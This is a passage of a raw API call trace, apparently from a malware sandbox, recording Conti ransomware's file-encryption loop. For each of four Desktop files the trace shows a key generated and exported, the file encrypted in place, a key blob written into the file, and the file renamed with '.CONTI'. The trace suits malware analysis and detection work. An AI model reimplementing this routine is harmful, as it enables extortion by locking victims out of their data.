	[0137.836] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45c08 | out: phKey=0x6b45c08*=0x6b7eb78) returned 1
	[0137.836] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45c0c, pdwDataLen=0x34ffaac | out: pbData=0x6b45c0c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.837] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\kgdhfbgmeaisdlgoauk.wav")) returned 0x20
	[0137.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\kgdhfbgmeaisdlgoauk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.837] GetLastError () returned 0x0
	[0137.837] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=33044) returned 1
	[0137.837] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8114
	[0137.837] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.838] SetEndOfFile (hFile=0x450) returned 1
	[0137.838] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.838] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.838] WriteFile (in: hFile=0x450, lpBuffer=0x6b45c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b45c0c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.839] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.839] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x8114, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x8114, lpOverlapped=0x0) returned 1
	[0137.840] CryptEncrypt (in: hKey=0x6b7eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x8114, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x8120) returned 1
	[0137.840] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.840] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x8120, lpOverlapped=0x0) returned 1
	[0137.840] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.840] WriteFile (in: hFile=0x450, lpBuffer=0x6b45c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b45c00*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.840] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.840] CloseHandle (hObject=0x450) returned 1
	[0137.841] GetProcessHeap () returned 0x1720000
	[0137.841] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.841] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav"
	[0137.841] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav.CONTI"
	[0137.841] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\kgdhfbgmeaisdlgoauk.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\KgDhFbgMeaIsdlGoAUk.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\kgdhfbgmeaisdlgoauk.wav.conti")) returned 1
	[0137.841] GetProcessHeap () returned 0x1720000
	[0137.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.841] CryptDestroyKey (hKey=0x6b7eb78) returned 1
	[0137.841] GetProcessHeap () returned 0x1720000
	[0137.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0137.841] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.841] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x6b7e838) returned 1
	[0137.841] CryptExportKey (in: hKey=0x6b7e838, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x34ffaac | out: pbData=0x6b449cc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.842] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\qjayr_l6dkgpexu.bmp")) returned 0x20
	[0137.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\qjayr_l6dkgpexu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.842] GetLastError () returned 0x0
	[0137.842] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=13099) returned 1
	[0137.843] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x332b
	[0137.843] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.843] SetEndOfFile (hFile=0x450) returned 1
	[0137.843] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.843] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.843] WriteFile (in: hFile=0x450, lpBuffer=0x6b449cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b449cc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.844] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.845] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x332b, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x332b, lpOverlapped=0x0) returned 1
	[0137.845] CryptEncrypt (in: hKey=0x6b7e838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x332b, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x3330) returned 1
	[0137.845] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.845] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x3330, lpOverlapped=0x0) returned 1
	[0137.845] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.845] WriteFile (in: hFile=0x450, lpBuffer=0x6b449c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b449c0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.845] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.845] CloseHandle (hObject=0x450) returned 1
	[0137.846] GetProcessHeap () returned 0x1720000
	[0137.846] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.846] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp"
	[0137.846] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp.CONTI"
	[0137.846] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\qjayr_l6dkgpexu.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\QJAYr_L6dKGPEXU.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\qjayr_l6dkgpexu.bmp.conti")) returned 1
	[0137.846] GetProcessHeap () returned 0x1720000
	[0137.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.846] CryptDestroyKey (hKey=0x6b7e838) returned 1
	[0137.846] GetProcessHeap () returned 0x1720000
	[0137.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e768 | out: hHeap=0x1720000) returned 1
	[0137.846] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.846] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x6b7eef8) returned 1
	[0137.846] CryptExportKey (in: hKey=0x6b7eef8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x34ffaac | out: pbData=0x6b450a4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.847] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\tlqkzwn1hkbiko.wav")) returned 0x20
	[0137.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\tlqkzwn1hkbiko.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.847] GetLastError () returned 0x0
	[0137.847] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=76920) returned 1
	[0137.848] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12c78
	[0137.848] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.848] SetEndOfFile (hFile=0x450) returned 1
	[0137.848] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.848] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.848] WriteFile (in: hFile=0x450, lpBuffer=0x6b450a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b450a4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.850] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.850] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x12c78, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x12c78, lpOverlapped=0x0) returned 1
	[0137.850] CryptEncrypt (in: hKey=0x6b7eef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x12c78, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x12c80) returned 1
	[0137.850] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.851] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x12c80, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x12c80, lpOverlapped=0x0) returned 1
	[0137.851] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.851] WriteFile (in: hFile=0x450, lpBuffer=0x6b45098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b45098*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.851] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.851] CloseHandle (hObject=0x450) returned 1
	[0137.851] GetProcessHeap () returned 0x1720000
	[0137.851] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.851] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav"
	[0137.851] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav.CONTI"
	[0137.851] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\tlqkzwn1hkbiko.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\tLQKzwN1HkbIKo.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\tlqkzwn1hkbiko.wav.conti")) returned 1
	[0137.852] GetProcessHeap () returned 0x1720000
	[0137.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.852] CryptDestroyKey (hKey=0x6b7eef8) returned 1
	[0137.852] GetProcessHeap () returned 0x1720000
	[0137.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e8b8 | out: hHeap=0x1720000) returned 1
	[0137.852] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.852] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x6b7ee38) returned 1
	[0137.852] CryptExportKey (in: hKey=0x6b7ee38, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x34ffaac | out: pbData=0x6b47524*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.853] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\wo3dy.flv")) returned 0x20
	[0137.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\wo3dy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.853] GetLastError () returned 0x0
	[0137.853] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=38047) returned 1
	[0137.853] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x949f
	[0137.853] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.853] SetEndOfFile (hFile=0x450) returned 1
	[0137.853] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.853] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.854] WriteFile (in: hFile=0x450, lpBuffer=0x6b47524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b47524*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.855] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.855] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x949f, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x949f, lpOverlapped=0x0) returned 1
	[0137.856] CryptEncrypt (in: hKey=0x6b7ee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x949f, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x94a0) returned 1
	[0137.856] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.856] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x94a0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x94a0, lpOverlapped=0x0) returned 1
	[0137.856] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.856] WriteFile (in: hFile=0x450, lpBuffer=0x6b47518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b47518*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.856] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.856] CloseHandle (hObject=0x450) returned 1
	[0137.856] GetProcessHeap () returned 0x1720000
	[0137.856] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.856] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv"
	[0137.856] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv.CONTI"
	[0137.856] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\wo3dy.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Wo3Dy.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\wo3dy.flv.conti")) returned 1
	[0137.857] GetProcessHeap () returned 0x1720000
	[0137.857] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.857] CryptDestroyKey (hKey=0x6b7ee38) returned 1
	[0137.857] GetProcessHeap () returned 0x1720000
	[0137.857] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895768 | out: hHeap=0x1720000) returned 1
	[0137.857] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.857] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x6b7eb78) returned 1
	[0137.857] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x34ffaac | out: pbData=0x6b4577c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
